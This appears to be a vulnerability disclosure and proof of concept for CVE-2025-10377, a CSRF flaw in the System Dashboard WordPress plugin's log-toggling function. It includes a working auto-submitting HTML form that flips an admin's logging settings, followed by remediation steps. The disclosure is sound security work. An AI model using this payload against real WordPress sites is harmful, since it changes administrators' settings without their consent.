CVE-2025-10377# Proof of Concept CVE-2025-10377 Cross-Site Request Forgery (CSRF) in Plugin System Dashboard (Funtion sd_toggle_logs)
**Vulnerability Type:** Cross-Site Request Forgery (CSRF)
**Affected Function:** sd_toggle_logs()
**CVSS v3.1:** 4.3 (Medium)
**Vector:** AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
*(Note: Score reflects unauthorized state change requiring an admin victim and user interaction.)*
**Description of Vulnerability:**
The function `sd_toggle_logs()` processes sensitive operations such as enabling/disabling Page Access Logs, Error Logs, and Email Delivery Logs. However, it relies solely on the `$_REQUEST['log_type']` parameter and a capability check `(current_user_can( 'manage_options' ))` without implementing CSRF protection (e.g., `check_admin_referer()` or a nonce).
As a result, an attacker can lure a logged-in Administrator to visit a malicious page that silently submits a crafted request, causing unintended enable/disable changes to site logging.
## Impact:
- Unauthorized state changes for site logging features (Page Access Log, Error Log, Email Delivery Log).
- If error logging is enabled, the site may begin writing application errors to a file path determined by the plugin (increasing the chance of operational information disclosure via logs), but the direct impact of this issue is the state toggle itself.
## POC
When a logged-in User with `manage_options` visits the attacker’s page, the respective logging feature is toggled without explicit consent.
``` html
<body>
<form action="http://victim.com/wordpress/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="sd_toggle_logs" />
<input type="hidden" name="log_type" value="errors_log" />
<input type="hidden" name="fast_ajax" value="true" />
<input type="hidden" name="load_plugins[]" value="system-dashboard/system-dashboard.php" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
```
## Remediation
- Implement WordPress nonces (`check_admin_referer()` or `wp_verify_nonce()`) to validate requests.
- Restrict sensitive actions to POST requests only.
- Avoid relying solely on capability checks for protection against CSRF.
## Video POC
If you're unable to reproduce the issue exactly as described in the report, please refer to the following video demonstration (PoC) for a clear reproduction scenario:
https://youtu.be/WtWYIfEM4W0
[4.0K] /data/pocs/b5b0bab670892a0d876dbd66085bb0fe9508ac87
├── [2.5K] POC_csrf.md
└── [2.5K] README.md
1 directory, 2 files